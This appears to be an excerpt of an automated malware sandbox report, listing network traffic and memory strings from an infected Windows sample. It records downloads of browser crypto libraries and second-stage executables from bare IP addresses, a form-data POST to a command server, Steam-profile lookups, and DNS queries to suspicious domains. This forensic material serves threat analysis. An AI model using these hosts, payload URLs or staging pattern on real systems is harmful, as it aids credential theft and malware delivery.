Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fbfcc9963ca_ldfsna.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fbfccd837ac_vadggdsa.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66fbfcc301a31_swws.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fbfccd837ac_vadggdsa.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fbfcc9963ca_ldfsna.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: chorusarorp.site
Source: global traffic	DNS traffic detected: DNS query: questionsmw.store
Source: global traffic	DNS traffic detected: DNS query: soldiefieop.site
Source: global traffic	DNS traffic detected: DNS query: abnomalrkmu.site
Source: global traffic	DNS traffic detected: DNS query: treatynreit.site
Source: global traffic	DNS traffic detected: DNS query: snarlypagowo.site
Source: global traffic	DNS traffic detected: DNS query: mysterisop.site
Source: global traffic	DNS traffic detected: DNS query: absorptioniw.site
Source: global traffic	DNS traffic detected: DNS query: cowod.hopto.org
Source: global traffic	DNS traffic detected: DNS query: gravvitywio.store

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2782993650.00000000277C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exe
Source: RegAsm.exe, 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exe1kkkk1263520http://147.45.44.104/ldms/66fbfccd837a
Source: RegAsm.exe, 0000000F.00000002.2782993650.00000000277C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exeX
Source: RegAsm.exe, 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exerm-data;
Source: RegAsm.exe, 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2340395451.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2763045880.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfccd837ac_vadggdsa.exe
Source: RegAsm.exe, 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/66fbfccd837ac_vadggdsa.exe-data;
Source: RegAsm.exe, 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2340395451.000000000101F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2340395451.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66fbfcc301a31_swws.exe
Source: RegAsm.exe, 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66fbfcc301a31_swws.exeform-data;
Source: RegAsm.exe, 0000000F.00000002.2763045880.000000000144A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759155964.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109
Source: RegAsm.exe, 0000000F.00000002.2763045880.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/
Source: RegAsm.exe, 0000000F.00000002.2763045880.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/)
Source: RegAsm.exe, 0000000F.00000002.2763045880.000000000144A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll=
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll3
Source: RegAsm.exe, 0000000F.00000002.2763045880.000000000144A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dllO
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dlly
Source: RegAsm.exe, 0000000F.00000002.2763045880.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
Source: RegAsm.exe, 0000000F.00000002.2763045880.000000000148F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759155964.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php1f9a9c4a2f8b514.cdf-ms
Source: RegAsm.exe, 0000000F.00000002.2782993650.00000000277C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpp
Source: RegAsm.exe, 0000000F.00000002.2759155964.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpry=----KJKJKFCBKKJDGDHIDBGIultrelease
Source: RegAsm.exe, 0000000F.00000002.2759155964.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109JKJEorm-data;
Source: RegAsm.exe, 0000000F.00000002.2763045880.000000000144A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109Ra
Source: file.exe, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, GDBFCGIIIJ.exe.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.2.dr, softokn3[1].dll.15.dr, softokn3.dll.2.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, file.exe, freebl3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, softokn3[1].dll.15.dr, GDBFCGIIIJ.exe.2.dr, softokn3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.2.dr, softokn3[1].dll.15.dr, softokn3.dll.2.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, GDBFCGIIIJ.exe.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, file.exe, freebl3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, softokn3[1].dll.15.dr, GDBFCGIIIJ.exe.2.dr, softokn3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, file.exe, freebl3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, softokn3[1].dll.15.dr, GDBFCGIIIJ.exe.2.dr, softokn3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: RegAsm.exe, 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.GCFCAKEBKJJE
Source: RegAsm.exe, 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto
Source: RegAsm.exe, 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.
Source: RegAsm.exe, 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.EBKJJE
Source: RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org
Source: RegAsm.exe, 00000002.00000002.2340395451.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/
Source: RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgJJE
Source: file.exe, 00000000.00000002.1666233856.00000000037E5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: RegAsm.exe, 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hoptoKEBKJJE
Source: file.exe, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, GDBFCGIIIJ.exe.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: file.exe, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, GDBFCGIIIJ.exe.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, file.exe, freebl3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, softokn3[1].dll.15.dr, GDBFCGIIIJ.exe.2.dr, softokn3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.2.dr, softokn3[1].dll.15.dr, softokn3.dll.2.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.2.dr, softokn3[1].dll.15.dr, softokn3.dll.2.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, GDBFCGIIIJ.exe.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, file.exe, freebl3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, softokn3[1].dll.15.dr, GDBFCGIIIJ.exe.2.dr, softokn3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.2.dr, softokn3[1].dll.15.dr, softokn3.dll.2.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.2.dr, softokn3[1].dll.15.dr, softokn3.dll.2.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.2.dr, softokn3[1].dll.15.dr, softokn3.dll.2.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, GDBFCGIIIJ.exe.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: file.exe, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, GDBFCGIIIJ.exe.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.2.dr, softokn3[1].dll.15.dr, softokn3.dll.2.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: IIJKJDAFHJ.exe, 0000000D.00000002.2315175721.0000000001222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.c
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, file.exe, freebl3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, softokn3[1].dll.15.dr, GDBFCGIIIJ.exe.2.dr, softokn3.dll.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: http://ocsp.digicert.com0
